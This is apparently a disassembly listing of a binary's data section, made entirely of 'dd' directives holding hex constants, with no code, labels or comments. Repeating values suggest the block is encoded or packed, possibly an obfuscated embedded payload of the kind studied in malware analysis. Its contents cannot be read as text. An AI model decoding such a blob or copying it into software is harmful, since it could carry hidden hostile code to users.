		dd 28845B63h, 83ABC6AFh, 0FC76B23Bh, 0B718B6CBh, 977AEE71h
		dd 91F09C0Ah, 4AE941D9h, 4D9F75D6h, 0B41A02CDh,	490E77FAh
		dd 0B456DAF7h, 9A0E41DBh, 0E61EB50Eh, 93FC5110h, 18ECCE3Ah
		dd 2A04F797h, 0DD29409Ch, 861963D8h, 41347759h,	18B449B5h
		dd 0E4075062h, 926F9C53h, 0C03A9355h, 0FB270EBAh, 3B3E3776h
		dd 0D31603C9h, 0E9253958h, 0EB49067Ch, 88C36600h, 4F539CDAh
		dd 0C30D26E5h, 17D9D13Ah, 0A47C9C1h, 0C5789400h, 8D015BCDh
		dd 0E23EAE6Fh, 0C023E1D9h, 337CB82h, 0BFA3F09h,	6328322Fh
		dd 0E25952CDh, 0E295E010h, 6FE69EAEh, 91441CAh,	0C437AD42h
		dd 0C0927DE1h, 3768D33Eh, 0EA5A0798h, 33C40B4Ah, 0C7C4F94Ah
		dd 3314F5CAh, 482762CDh, 0A61C2BE2h, 0FA0384DDh, 9DC003D1h
		dd 0CD240944h, 0F26224ECh, 74F14A41h, 0C56720F0h, 0BCD91F55h
		dd 0CAF2A7ACh, 0D9212AF2h, 0E77D5534h, 8617644h, 0C2D72F76h
		dd 0C35E47FCh, 36C84150h, 0BC40BD8Bh, 77D156CEh, 0C09DB7B1h
		dd 0CA57077Bh, 0C5537AD9h, 0D3ED1C16h, 85D0D6CAh, 0D7721F48h
		dd 1DFC5EB4h, 920179F7h, 13615595h, 0C551238Bh,	3FD5FA2Eh
		dd 3ED6FFB3h, 8059F9C3h, 91E9514Bh, 3E129F90h, 0ADFACB77h
		dd 0D051E849h, 0C0121EC0h, 0A742158Eh, 4D59AADAh, 0FF726220h
		dd 793748C5h, 8C53353Ch, 5D7F5AD1h, 804A77C0h, 4B6F137Eh
		dd 4FDE1FCEh, 1D98477Ah, 0D9B2318Dh, 0C8F35F94h, 0F70D0849h
		dd 0F9E8FECDh, 0CB1535BDh, 0A81EC29Ah, 0CD3231A8h, 9093CEFFh
		dd 67B51BE9h, 0C552351Ch, 0D8AA35D1h, 947B4550h, 2BD7511Ch
		dd 0E92B6C05h, 0DF6674E4h, 6D6D8540h, 0A05307F9h, 898A6Bh
		dd 91C842C9h, 99BFFF95h, 98BF05F9h, 0C95606A9h,	0D30F3FD9h
		dd 3973F7B0h, 11A0779h,	0D15E1787h, 0E00F812Eh,	3E43FCB5h
		dd 5B564F80h, 3777A185h, 4ABB4FF1h, 81147C7Bh, 575F7791h
		dd 0CA16BA71h, 0F74797F1h, 0C1C910C6h, 0AA4173A1h, 0F1870C4Fh
		dd 862C2F09h, 0FFBDD04Dh, 63E92FD5h, 920316Ah, 766EF31Ah
		dd 6C4F848Dh, 0C178D4C2h, 0F1668705h, 0C12611C3h, 0C517061Eh
		dd 51B04137h, 98DFC204h, 57B1B1F1h, 0E929FC0Fh,	9D7F0079h
		dd 73DB96A9h, 0AB6FD8E3h, 0B1099404h, 0E34A02C4h, 1A1D1FCDh
		dd 0E919A143h, 0C931B602h, 0B887576Ch, 902B17A9h, 3BC6A126h
		dd 0AA7D469Dh, 0C99F1AD1h, 42B50718h, 333AE6C3h, 6A7588ADh
		dd 0BD3614EAh, 0D7753DEBh, 694499D1h, 8EC5A08h,	446703D4h
		dd 396746F0h, 4939C510h, 0B414538Eh, 67353DC3h,	0A30E5FB6h
		dd 0EA6DBCA9h, 1A38B36Dh, 0E7918D50h, 0BB7D6AABh, 3DE776D3h
		dd 0D95243D2h, 373C15h,	0B6937540h, 1B15DCDAh, 21D57496h
		dd 4851D4B9h, 0CB145162h, 0C924577Fh, 0BB9A1F19h, 98576300h
		dd 99943239h, 0D61DCE14h, 0C2EF34CDh, 0F75016FFh, 0FF1B19A8h
		dd 9FAF039Eh, 0B902B8BBh, 27DF906h, 0E7F91D85h,	0D487A392h
		dd 0C10D17E7h, 0AFAFDFA5h, 0DFF781E3h, 1A21A567h, 0FA159999h
		dd 0C95414E9h, 0D2619FE9h, 0E51439D5h, 5B059368h, 81D4D0CFh
		dd 81D23D47h, 0D1B68D95h, 53559FD5h, 44EB5F09h,	6D43EFE1h
		dd 870B0B77h, 0CA87A38Dh, 0AFFD3BCEh, 35B30376h, 0CCE31556h
		dd 0C09D69DBh, 18318423h, 0A1331F78h, 0D55D03F8h, 487D17E4h
		dd 7CCBD3D1h, 0EBC95442h, 0BD3F9FD8h, 8E3DB78Bh, 3F6EDAFAh
		dd 0D5F61A77h, 0FF023074h, 0D8B4B7C7h, 0F21F4931h, 0F833DBE7h
		dd 0B5E0EFF7h, 4266F711h, 59800CEDh, 0CDB8398Ah, 53D4C74Fh
		dd 0AD1335F7h, 9954528Ah, 905FF6Dh, 6203CF1Ah, 54497D59h
		dd 0CC8E3746h, 0A53BE7E4h, 0DDFF1D47h, 0BB565246h, 0E12A9931h
		dd 0C396AE83h, 9499FF4Ch, 53E70E2Bh, 8E07489Dh,	0C8AA187Ah
		dd 0C1D7656Dh, 0DE9C02E8h, 53A4DCC7h, 298AD429h, 20870729h
		dd 5BFFF797h, 0BA0EB6C8h, 8162E7F6h, 6F20224Dh,	0BDACA551h
		dd 0F9A1F772h, 0F1AC1478h, 7D5D5397h, 23700A64h, 6837ACD7h
		dd 0B24AD03Dh, 12F8CBDh, 910407E2h, 0E040D129h,	117DCE02h
		dd 0C72E1B06h, 0C9411BB9h
		dd 917773BCh, 0A3C9C3E9h, 0D1AA0790h, 97266003h, 0B2CF3B66h
		dd 3CB0924Dh, 970262E3h, 0CFC333CDh, 0FA2D5043h, 2A9C5FCCh
		dd 8A6FD396h, 7BF874Ah,	4384DE90h, 0CB5437CFh, 6D2D30A5h
		dd 5787232Bh, 8A95FFCEh, 0BA7180E3h, 9365F7F3h,	0D3713711h
		dd 2DFF3699h, 910DBD66h, 0E01CD5A0h, 82686A11h,	8D6146A2h
		dd 3D2B0B11h, 0CD3F9104h, 1E525F7Dh, 9EDEADF3h,	303B33F9h
		dd 0D058BF46h, 0B21469C5h, 0FD63AE94h, 0D24B585Dh, 0BDC80F98h
		dd 18CB5225h, 4CBB7245h, 6A8A37EFh, 0EB0DF369h,	1DB73225h
		dd 591B054Bh, 92377D35h, 83BEC02Bh, 0B83AFCD0h,	0E016979Fh
		dd 2073F55h, 101B9D29h,	6D1E58D8h, 0F7DEC000h, 161FE1E8h
		dd 991E75F3h, 1C2327FFh, 0AD3755C7h, 5178F239h,	33F236D0h
		dd 490EF7C2h, 6F709B1Ah, 0EAF277A5h, 0E7DBB8ECh, 6AAD773h
		dd 6A21DDBCh, 0E0ADA596h, 0C95ECEB5h, 5CD406C5h, 0E3142BD3h
		dd 0FF5F4654h, 8523F60Bh, 476B6146h, 290437A9h,	97571CA1h
		dd 3B95B8A3h, 6B45DE8Ah, 5216451Bh, 7E4F3EEAh, 0CAB5E604h
		dd 0DBDE6088h, 5FD5241Ah, 0D590A710h, 4CB21D91h, 81765FADh
		dd 0CDB0B4E4h, 66CC9E19h, 4745C3h, 0D1696497h, 0E8B7A8E6h
		dd 1F3885h, 904F5CFFh, 4B460603h, 55A2CB84h, 0B599BB99h
		dd 0B9CE8FEBh, 3E40FF25h, 0E9803549h, 4F8E6527h, 0D617179Eh
		dd 6A938475h, 34619FFh,	0FA005AA5h, 43A7F6A9h, 17FCA8C6h
		dd 488A4F5Ah, 0EE19DC23h, 0E8D816B4h, 23A76B18h, 0F5A2755h
		dd 8B1BDA19h, 191693FEh, 0CE2F082Ah, 0ED0BF008h, 817309A2h
		dd 2F954D31h, 0C8124DC5h, 85035B9Ch, 0A8CA2B1Ah, 0E11C0E10h
		dd 0A493E41Ah, 0E10689B5h, 0B21B5392h, 0A3D4BFE0h, 1F0B63CCh
		dd 542396ECh, 0E2B8162Bh, 74B2C3F7h, 86DB97A3h,	0B63AC15Eh
		dd 0C402756Ch, 0D1CD8517h, 2AB07C01h, 0DE14C13Fh, 1ABD6A8h
		dd 755E15E4h, 22981040h, 42B77FEDh, 503A173Dh, 0EB6C1E00h
		dd 0AFBA85C7h, 558422CAh, 0D2063648h, 0E0091B44h, 0B099F81Dh
		dd 2028340Eh, 7B218662h, 90570BC8h, 1E5C37CEh, 0A46B0C2h
		dd 0A6E329E5h, 0AE5C6B67h, 1B83F7Dh, 3A3666C6h,	84245BC8h
		dd 0C3DDE3F7h, 0BA9763EFh, 0ECC0D9ADh, 43FEFAE8h, 6CC124BDh
		dd 41941529h, 2D2D0175h, 70C02071h, 0C7FBDC3Bh,	4B1BC91h
		dd 0B5471D4Fh, 0DCA34496h, 2ECDD673h, 0BF51FA2Dh, 4A30B625h
		dd 319A98C5h, 5EA00B30h, 1A8B04E1h, 0FA524487h,	0C8B16B7Bh
		dd 8DE735BFh, 0FDC263CEh, 741AF36Dh, 25DC9BD1h,	0CF8D5FDCh
		dd 0EA2AA6DFh, 1CCCF87h, 0D71807CFh, 0F81B8502h, 0C4204ADh
		dd 0A781FF42h, 0D0491609h, 8A434985h, 11FCA09Ah, 0D2410E69h
		dd 0C8096901h, 0C8821AEBh, 147DD4B4h, 622C7899h, 62E114ACh
		dd 8B221DE1h, 74FA0B24h, 0C00AF0C0h, 4C1B5CD7h,	0C99B1948h
		dd 74119D6Fh, 0D509DDECh, 0E9DBFBE3h, 9CE14BB2h, 0B9A1C641h
		dd 4A6F66C9h, 50CC8D81h, 0D589C486h, 8139985Bh,	98423487h
		dd 863443B5h, 0F750B1h,	29E81410h, 2C2C33E4h, 0C763EA48h
		dd 0AF1F31F8h, 97BDA722h, 0A8374320h, 0DE342C91h, 0AEFF6D3Ah
		dd 42D46984h, 0D96B0FFAh, 9742FD9Ah, 0C74A8665h, 0D2626A49h
		dd 0F0F6FD58h, 14BBDFD6h, 0EF5F17DAh, 0A8FEBFA1h, 2B34DFEEh
		dd 2A314995h, 0C0B707F0h, 0EDF232BFh, 0E2179DDCh, 0D5231799h
		dd 80B5AFCCh, 0FBFE5C9Dh, 0CD9EED19h, 0E544CDD7h, 2D00051Ah
		dd 0E4B5AC83h, 0FD54095Bh, 823744D7h, 0F49BA5DDh, 87D60F3Ah
		dd 0FBBF14D1h, 931357B3h, 8E075497h, 1D3BD3C5h,	75E5860Ah
		dd 0A38D8BD1h, 0A1989DFh, 49DF1E91h, 3037D6DFh,	61E73B68h
		dd 4C126803h, 27096595h, 9A6F40BDh, 3E2CDAD2h, 3D3CC8E5h
		dd 675D0DBh, 0A00FA05Ah, 0C2DF46A6h, 29444A7Dh,	0F21FB92Bh
		dd 902A6D9Ah, 3CA9B44Eh, 0B30368B7h, 0CA3A9628h, 0C0001344h
		dd 0E8E8642Dh, 0AC63A87Ch, 48DBF7CDh, 81139C6Ch, 99904702h
		dd 3EC713E5h, 2772601h,	23DBD057h, 8CC3E8E4h, 0D171211h
		dd 39A49544h, 36CF24CFh, 0A921405h, 0AC3E977Ch,	0F34674C1h
		dd 0C78C4B9Bh, 0EADF4BBFh, 4AF69C05h, 0D2164629h, 1CD31063h
		dd 0E25A84BDh, 20252D3h, 435B9BDDh, 453125E1h, 0C0EE0048h
		dd 0BD3036FBh, 8D251E49h, 45A3DE4Dh, 3B46AC6h, 0E4070512h
		dd 6B7317E1h, 0C117BB55h, 0AD90E01Eh, 0C6373FC0h, 0B3721682h
		dd 0A44376B5h, 76287FC7h, 0A51AFB9Ah, 0A86352B9h, 0AD721C92h
		dd 0C75072B1h, 451D72DFh, 9165EFB5h, 941678A2h,	1E295BAEh
		dd 0DD5BE11Eh, 0B3767EA3h, 800A65B8h, 0A5625AAEh, 0A0793D89h
		dd 0CCA1737Ch, 0D0487CC4h, 0A4367BFFh, 916174A9h, 764B5281h
		dd 8C897FD5h, 0AA6855B8h, 0A978FA2Eh, 0A57240A8h, 0DA3E54A9h
		dd 0A80560B3h, 6F1D0AAAh, 0B772AFAEh, 0EB0B0FBCh, 5B1F0211h
		dd 0ED615F1Ah, 0D1191C37h, 0B21814B3h, 669671Ah, 0B864EC92h
		dd 957E22ACh, 0CF417AA4h, 0B41D78ADh, 211F5ED0h, 944597AFh
		dd 8FCF120Dh, 0A1083207h, 857E6CBAh, 0B57899A2h, 0AD78BB82h
		dd 0B1D76469h, 0E343DD76h, 0ACEC72B3h, 0A7A453B4h, 0DB364FD0h
		dd 0F1BC4C2Eh, 0C1EB15C2h, 0BA6F7899h, 82E505E3h, 16A121D3h
		dd 959AD677h, 8D046729h, 1722611Fh, 0FA5ED4AAh,	0B8987B92h
		dd 73C14183h, 0AC02B16Dh, 79504593h, 0C9774EF1h, 0FFFF5ED7h
		dd 9C50CD77h, 0CF5AA0A3h, 92C87207h, 0E11961EFh, 0AFFB9E94h
		dd 0A8726797h, 42F6A771h, 0A70E608Eh, 17953CFh,	161CCA5Ah
		dd 29700FB1h, 0E52C56D2h, 806A642Fh, 92F062EBh,	0B737A1D0h
		dd 0D4DB3B86h, 0C04A6184h, 0AE69CCD1h, 797A0E97h, 0A2759011h
		dd 0CD618085h, 0B186D9B8h, 83B13B98h, 4AA22BBEh, 0CA14186Ch
		dd 0B156FF8Eh, 0C0AF1CD8h, 0A71837E5h, 0F150A7B7h, 8572B166h
		dd 0D4511175h, 6BEFCF1Fh, 0A59F7F5Eh, 2FA7D8CDh, 0E10C3BB1h
		dd 0AE7A4970h, 17AD97A1h, 8DF87ADCh, 0C5509356h, 98BE077Ch
		dd 0F0915DA6h, 0A07AE68Fh, 71634BD5h, 3933CDDh,	0B044733Bh
		dd 99109BCAh, 0A17407E5h, 7CCF1B5Ah, 6F726187h,	0FD1FD7BAh
		dd 0FFC99208h, 0A2453817h, 0C9E14306h, 0AA683741h, 0A8CED0A6h
		dd 62835D1Ah, 22E721F1h, 0EE427FC2h, 3C1D6F0h, 8742918Ah
		dd 0AD806577h, 53CA6619h, 0EFF9ACA0h, 156F436Ch, 80285AF9h
		dd 50204FA2h, 65737BD7h, 0CD3913D0h, 0EDEB8DF2h, 0B8755CA4h
		dd 0A5B9787Ch, 78E2BED5h, 8B719EC3h, 831656DEh,	1F003FD4h
		dd 0F5F57FA6h, 0B2064ADAh, 0A63ED9EFh, 90022FCDh, 7C5527F2h
		dd 7409C4DDh, 0A7F993D8h, 0CDBF19DCh, 0C86C0BB2h, 0FD3CA63Ch
		dd 0A86C0A34h, 911F88A7h, 280E4489h, 5C3574C7h,	98431640h
		dd 8BC432FCh, 1D01369Dh, 10713260h, 0F704ABCCh,	0DF7E7F76h
		dd 0CD5DA187h, 0B56571D1h, 0EF9C4521h, 8856FAC2h, 95571DC8h
		dd 5BBA57B1h, 0B35337E9h, 0EA0F13C8h, 39E067DBh, 1789684h
		dd 3E5F7CA8h, 0B18F63B5h, 0D814A177h, 1579ACB0h, 0CCE15FFDh
		dd 745681F4h, 0E7443C10h, 0F7BBCECAh, 0D00B1EE6h, 84A706CFh
		dd 0DD1C3BB2h, 1060C13h, 0F7608497h, 94658D2Fh,	0BFC77B73h
		dd 0A0C98249h, 0F4EECF0Ah, 0D15E6835h, 5BFA8CBEh, 0F43EC61Ch
		dd 96449BADh, 0F1155696h, 0A07E9A07h, 0BE678DF6h, 0F1229C1Ch
		dd 741676B7h, 0DDE3E8D3h, 70CEA5C8h, 8C1805CFh,	1CF34D0h
		dd 2FE81E92h, 98A181A4h, 0D51E1DC3h, 0D14E18C2h, 987881A4h
		dd 0CA6400F5h, 57727298h, 0C51A24D2h, 0A74C155Eh, 0C00181C9h
		dd 29429A59h, 0E74345D4h
		dd 857AD78Dh, 0AD09126h, 0C1E7310Eh, 0C5E7E3C0h, 0C5257BC6h
		dd 3EE7CEE0h, 316B47C5h, 0C51F0885h, 0BEE01ED1h, 3164E88Eh
		dd 0CF0314C7h, 31E23DF5h, 6401178Ch, 0D11EC0C7h, 0A14124DCh
		dd 3EE8103Eh, 0FB25E886h, 0D21B67D1h, 0CD111DE1h, 0DA1B1DCDh
		dd 0C7001ECFh, 911C0B98h, 0E90007D1h, 0C76D1D59h, 7EE6313Eh
		dd 2EE7E86Bh, 0F051E6C1h, 0DE6409D8h, 0C8314FF7h, 0DF4D0DDDh
		dd 42181CD2h, 0D0E831C6h, 3E10E8AEh, 0C61D34DDh, 0CB2A01DCh
		dd 312C3481h, 0B15716F0h, 9C0252E9h, 0F78210DDh, 85EA01CBh
		dd 3E1DE81Ah, 0E11EBCEFh, 0D8351FC7h, 0C6C5D0C3h, 9E0333C6h
		dd 0E04710BCh, 841C1EE3h, 3EE8093Eh, 0C80AA8A2h, 0EA0800A7h
		dd 0C9303FC6h, 0C63953FAh, 8E741ACCh, 656C1BF9h, 0F32B10C6h
		dd 0C3E9E7E3h, 3EC3E83Eh, 0D00518DFh, 0DC5C0096h, 0CE238DCEh
		dd 2E703E5h, 0C492B2C3h, 0D10393E0h, 31AA74D5h,	7EEA16CBh
		dd 0C1BE2909h, 0E44036CEh, 0D43F168Bh, 0F3E1288Eh, 3E4CE83Eh
		dd 50AA0E97h, 51167C31h, 0D7730AE8h, 0D7033795h, 0EA5100C8h
		dd 4A3A00C6h, 0E3FD5947h, 1AE8E89Ah, 0CC1E05E4h, 9C16CF31h
		dd 3A5F12B4h, 0D05E35F3h, 5C3804CFh, 1EC91E3Eh,	5839A1D6h
		dd 0D63E29FFh, 0CE21B0F9h, 0E419415Fh, 0C002E7DDh, 7E1398AEh
		dd 0A1B3D631h, 0BB0B04CBh, 0E00F5B1Dh, 0BEFE593Dh, 4805E875h
		dd 0D13102D0h, 0C7E7789Dh, 0C82702E4h, 0DF5311E4h, 0D73302BDh
		dd 20685FBEh, 0AA1F3CC1h, 0EB090399h, 0F39B1A92h, 3158AE80h
		dd 58EF1631h, 0AE97FA3Eh, 0A7E7BCD3h, 0FE68BEC0h, 0E50651CCh
		dd 0D3CFE7F0h, 0DD0716CAh, 3E48EAB6h, 0D30510D1h, 0E81C7BC8h
		dd 0AB3039FCh, 0EF052466h, 0DB047684h, 0E4E860DDh, 7E92E83Eh
		dd 0D0121188h, 0D2306ED2h, 0CA5609EBh, 0CC111EC8h, 0CA2F0796h
		dd 0C80402EFh, 0CC0532C7h, 3EE8803Eh, 0A13EE888h, 887250D4h
		dd 0FA0411E1h, 0C91239C4h, 0C47B1BCDh, 0D81C0ECCh, 0F70B08C4h
		dd 0E01F5282h, 0BDE8384Eh, 0CF0B1C05h, 0CC4B129Dh, 0CB171BCCh
		dd 590F10CBh, 72EEDFBEh, 0EC7812D4h, 0C60007D4h, 8D120CFEh
		dd 921A1BC4h, 1E49E93Eh, 5CE9E7A7h, 9BE715A9h, 0C90003C0h
		dd 0E44204CAh, 0A85418FEh, 0ACFA1BDEh, 301CACD6h, 0F4091ACAh
		dd 0CD0005C7h, 0D3EB11B5h, 6C15A044h, 231C89C7h, 0CA0298CBh
		dd 0C70305C4h, 3EA125AFh, 0E2197A89h, 0B455357Dh, 0D7C33246h
		dd 0DB252B78h, 0BECCC83Fh, 195AAD87h, 0DC3315A3h, 0E56062DDh
		dd 0C70F1DD4h, 0E61929C6h, 3DA057EEh, 0DA43E1E1h, 0C31B1F70h
		dd 0E70718CAh, 0A0CF1231h, 0F7E707F1h, 3724553Ah, 0D8D022C6h
		dd 0CA0612C6h, 0CF3A4A4Ah, 0F67B0C2Ch, 0A05FAB8Bh, 0CCB71979h
		dd 0F41C33D1h, 6EE811D0h, 44C2E83Eh, 990484D6h,	0EB040CDFh
		dd 0F31010CEh, 0F9033DC6h, 822B108Dh, 0E04B2988h, 0EEEB081Ah
		dd 0CD38DCDCh, 0CD092BC8h, 0EF1F03F6h, 0E60018D1h, 2EE935D3h
		dd 0CF0EE83Eh, 0CC061890h, 0C9670AD4h, 0ED01BFEAh, 0D40810D7h
		dd 0CA1C38CFh, 0DD1A1FC1h, 214104C8h, 0A92B7F3Eh, 0BF1B09A3h
		dd 784136DDh, 0DDE1C3C7h, 9E75E83Eh, 851A1AF7h,	0CA01B6FBh
		dd 0DE1143FEh, 9A7B0CF2h, 0C61955FBh, 0C4202DC7h, 3EF8153Eh
		dd 9C1DE9C8h, 881033CEh, 0E32977C7h, 0C61E2FCFh, 0CD0F118Ch
		dd 0B8161831h, 9D59216Ah, 3CE8E77Eh, 0D10610CDh, 4527B9EDh
		dd 0CF06DBD1h, 493F18D6h, 183B7726h, 31BA3677h,	7EA3FB3Fh
		dd 6E745B33h, 0EC3A1F86h, 0C212E7D9h, 881418C4h, 3AE82AE5h
		dd 9D15D4EEh, 5342AFD4h, 0E3E791A7h, 313408C9h,	853E16B8h
		dd 3EE808D1h, 0D0DCA8A0h, 0CB312EE5h, 0EF3D3D8Dh, 0FB455AE3h
		dd 0EE594CE7h, 82522AD7h, 1AA112D0h, 0F512C83Ch, 0F33522EAh
		dd 0CF0817D4h, 0E3099200h, 0E3363642h, 0B76CEC44h, 0A7475FE5h
		dd 0C30603EDh, 8797F0CCh, 0BAFE37C1h, 0DE16C19Bh, 0ACA272D3h
		dd 903ADEE3h, 64BA4F2Dh, 0E6A100F7h, 670C41B8h,	0F5CF16EBh
		dd 974D0F48h, 2CA84B3Ah, 63B5C738h, 0CC4216EEh,	551A89CCh
		dd 14080DC0h, 3F5132C4h, 0F620FE7Eh, 0A13748E7h, 0E4A109BFh
		dd 0E825C146h, 73EB0CD8h, 1E159A2Ch, 0C32AE736h, 0C02FE7FCh
		dd 0E68A136Ah, 84119CEDh, 167D9206h, 0C01B55F6h, 0C1177F60h
		dd 0C13C572Ah, 0E1161C5Eh, 3EFF17C1h, 0C11757C0h, 0C017FFD0h
		dd 4CAF1791h, 0C11717C3h, 0C117FF52h, 98171729h, 99FF17C1h
		dd 0C11716C1h, 4C36D44Ah, 0C196A681h, 6417D689h, 499F1748h
		dd 0C14616C1h, 0C17D47ABh, 0C1E817ABh, 7057A2E9h, 54D2173Eh
		dd 0C14CA381h, 174E40h,	0C19C15C1h, 705792E9h, 0C6751729h
		dd 3EA2E83Eh, 81173F70h, 8A3E854h, 3EA257C1h, 81173F70h
		dd 70A3E854h, 2AE57C1h,	0C1175DE8h, 4CA24090h, 811717D1h
		dd 291FE464h, 0C14E17C1h, 0F95F4848h, 2FFE811h,	0C11714C0h
		dd 0C117AEA7h, 28761729h, 56FFE83Eh, 0C11713C1h, 2D4D1C6h
		dd 0C392A779h, 81173270h, 6AA7BD96h, 4430AFC3h,	0C1BDA681h
		dd 0E817AF8Bh, 969A176Ah, 7057A2EDh, 1BB17E8h, 1BB86E8h
		dd 44159C45h, 0C116A681h, 11F5FF3Eh, 42D7E779h,	0C3B217C1h
		dd 81173270h, 7113716Ah, 8915BD71h, 705792E6h, 993E176Bh
		dd 2915EF42h, 0C9A7D621h, 6A4F62A7h, 3EE09A89h,	389ECEC0h
		dd 70579AE0h, 171740h, 0C19E0781h, 783F1F02h, 0C1FFBEC1h
		dd 3EE874A0h, 4C924791h, 81170FD0h, 0A0E8FFD3h,	443FE848h
		dd 0C1AEA681h, 0C11717C3h, 0F3764C29h, 99D4E83Eh, 91FF18F0h
		dd 0C117DCC2h, 0C5FF9405h, 0C1174BC2h, 0DCA69E44h, 296157C1h
		dd 0C19F17C1h, 705792E4h, 0AA171729h, 499217C1h, 81173170h
		dd 0C117FFA1h, 44301749h, 0C19AA681h, 7057AAD7h, 0C1161779h
		dd 6AAF15C2h, 0C11711C6h, 7112716Ah, 0D917BD29h, 23E17C1h
		dd 743BD74Ch, 0C1BBA681h, 50C69E36h, 4753FE6Dh,	6BF5593Eh
		dd 4CAAEF02h, 81173B70h, 0AB107DD0h, 0C317FF11h, 51F1742h
		dd 6B841BC0h, 0AB177DC5h, 0C317FF01h, 51F1742h,	0B4E7BD8Ah
		dd 7792D4CEh, 81170B70h, 0AB174791h, 0C317FF69h, 51F1742h
		dd 4D3E4E4Bh, 81170170h, 553F1877h, 81170170h, 0E9019F4Dh
		dd 0C1E9A681h, 70579ADDh, 2E91753h, 705792DDh, 779A17CEh
		dd 81170B70h, 0E8019F45h, 0C1D4A681h, 0F117AF40h, 643217C3h
		dd 0C171A681h, 440ABC4Ah, 0C1BCA681h, 3607D479h, 0C3B217C1h
		dd 81173270h, 23E716Ah,	15D771h, 7057B2E4h, 6AA717A7h
		dd 2FF076Bh, 3EE8FC3Eh,	3F1F9786h, 5C31D44Bh, 0C1D7A681h
		dd 0C38AF4C2h, 81173270h, 49CBA74Ah, 7918716Ah,	0C115DFC1h
		dd 7057B2E7h, 6AA717A7h, 1D719E49h, 5DA7BC02h, 70A757C1h
		dd 7EA757C1h, 0EA757C1h, 18A757C1h, 0C11657C1h,	0C71015C2h
		dd 5A6412D2h, 0C1173A9Ah, 0C61117C0h, 0C117F7C3h, 0C51606C1h
		dd 0C01717C2h, 0C21714C3h, 0C01317C5h, 29CC15C1h, 0C19A17C1h
		dd 0D05792D9h, 411717A9h, 917D17C1h, 54B6173Eh,	0C1FFA381h
		dd 0C11711C1h, 0C117FF89h, 4C921702h, 8117E373h, 91E87DC1h
		dd 75578213h, 1181744h,	0C01793A0h, 4CF7174Ch, 0C146A581h
		dd 54C1473Eh, 0C1E8A381h, 7357A221h, 0C17F17ABh, 0DE17E8CEh
		dd 5CA3E854h, 44D757C1h, 0F9161845h, 489217C1h,	8117F373h
		dd 817FD4ABh, 0C11717D1h, 64177FE9h, 0C1E817ABh, 7357A225h
		dd 5482173Eh, 0C192A381h, 4518D7CEh, 0C19E16C1h, 73579229h
		dd 4CFB174Ch, 0C19AA581h, 0D15782C1h, 0A93F1790h, 0C145B2C1h
		dd 74F3473Eh, 0C1E8A581h
		dd 75578258h, 1181744h,	0C1179320h, 44E7174Ch, 0C147A581h
		dd 0A9707DC1h, 0AEE878A6h, 7357A229h, 0C17D17ABh, 74F3173Eh
		dd 0C1E8A581h, 75578250h, 29B41702h, 0C1FF17C1h, 0C11768C1h
		dd 749B844Ch, 0C1FFA381h, 0C11703C1h, 0C3A49A44h, 91E857C1h
		dd 75578264h, 29161752h, 0C1D417C1h, 6D863E01h,	6CFF9E36h
		dd 0C11713C1h, 36D4BC23h, 2A9C7746h, 4A4352FDh,	0C0FD12B9h
		dd 0D99C9C8Bh, 0C0FC4DE1h, 863EB44h, 4A232388h,	2F3E9CC0h
		dd 1BBE8E8h, 0CC16D60Eh, 2162D0F9h, 61AE300h, 0E50B2CBDh
		dd 4A4D621Eh, 2A1833C0h, 8A9CA0CDh, 0C0FC4DDDh,	4A169CC5h
		dd 8533FF48h, 2730BA0h,	0C117B6F1h, 16F1744h, 811B1C4Ah
		dd 0DDBA9CB1h, 0C9D49C81h, 0F59C9C81h, 0C1179779h, 4CA21702h
		dd 8117CD75h, 4DA39A7Ch, 785957C1h, 0C1E417C1h,	3EB2B302h
		dd 81179A75h, 0C1172BC5h, 0C11727C1h, 1A1717C1h, 0C11717C3h
		dd 0C11717C1h, 0A47B44A9h, 95657B9Eh, 967976B8h, 0B46473C1h
		dd 0F22572B3h, 0AD7B39A5h, 0DF171729h, 929C17C1h, 0CD3C4BE5h
		dd 0C9544BE5h, 36F49E10h, 48C69E09h, 0C0DFE022h, 0E51F0495h
		dd 9AD49E11h, 29174292h, 0C14A17C1h, 8C169C5Ch,	4A9A17C1h
		dd 0C11746C0h, 0EAD29C55h, 0C19C17C1h, 81793EAh, 0D517C1h
		dd 10C0400h, 0E8D21455h, 0C11417C1h, 41793E8h, 489317C1h
		dd 0C1173E04h, 553E1748h, 0C117D2C1h, 0C964942Ah, 4117127Ah
		dd 42FE17C1h, 0C4AE1FB2h, 0C11797C1h, 8C169E5Ch, 489A17C1h
		dd 0C11746C0h, 2424C9Ch, 0C117FFC1h, 4A53179Ch,	0E8DE33C9h
		dd 0C45C7E01h, 819E416Dh, 9E56534Ch, 0E3659438h, 29CCF818h
		dd 6926A92h, 0C117F0C1h, 0C11717C1h, 2A17D044h,	911717C1h
		dd 294A17C1h, 3E40E83Eh, 0C117A8DFh, 93E81729h,	8E62E83Eh
		dd 9CD4EF9Eh, 3	dup(51878751h),	0C11717C1h, 0C19717C1h
		dd 0C117E8FEh, 578FE4A3h, 0A0C2CD36h, 258ACAF7h, 0ABE347EAh
		dd 1704D2C3h, 0E990C124h, 45AA57Ch, 7A59FB71h, 5F8DB30Ah
		dd 98C0053Bh, 633E5253h, 7B07DFB3h, 0DB5B9BFCh,	0F81899B1h
		dd 87ECA509h, 1922F38Dh, 0F1F4FC0h, 0AC4C5D04h,	440FE73Bh
		dd 5E12579Ah, 76856EABh, 0BAB55175h, 35FD59F8h,	0C5ACB38h
		dd 0E751FC7Ch, 432E95F8h, 0B8C85FE9h, 73C7AF05h, 0D5012225h
		dd 0F724E951h, 1D1E5477h, 954C356h, 0D18C7A05h,	0E152ADF7h
		dd 0C1176FC1h, 0C11757C1h, 59F2063Ch, 7DF2605Eh, 6DF260E5h
		dd 0DBF36055h, 0EFF260E2h, 6CF26068h, 18F260A0h, 75F260B7h
		dd 30F260FBh, 67F26031h, 72F260F3h, 0D6F260BBh,	6AF2608Fh
		dd 6DF260B3h, 31F260EFh, 7F360E7h, 0D3F2601Ah, 0F2A160C3h
		dd 244EC6B6h, 0D069C6B6h, 0B2CACF23h, 0B38B8B7Ch, 0AFB682DBh
		dd 19D77DFCh, 2E618023h, 84997A71h, 2DB259CFh, 0BD0800C1h
		dd 29EC6ECBh, 0CEBD803Ch, 0BD32EBCCh, 301A73Eh,	0D143723Bh
		dd 50BBDD6Eh, 0B7B11F1Bh, 57243F61h, 9A15DD4Bh,	0DF2CDF91h
		dd 23B48008h, 13Ch dup(0)
		dd 0E6C30000h, 88AD333Ah, 14EA6A75h, 3DEBBD36h,	99D1D775h
		dd 5A086944h, 3D408ECh,	46F04467h, 0C5103967h, 538E4939h
		dd 3DC3B414h, 5FB66735h, 0BCA9A30Eh, 0B36DEA6Dh, 8D501A38h
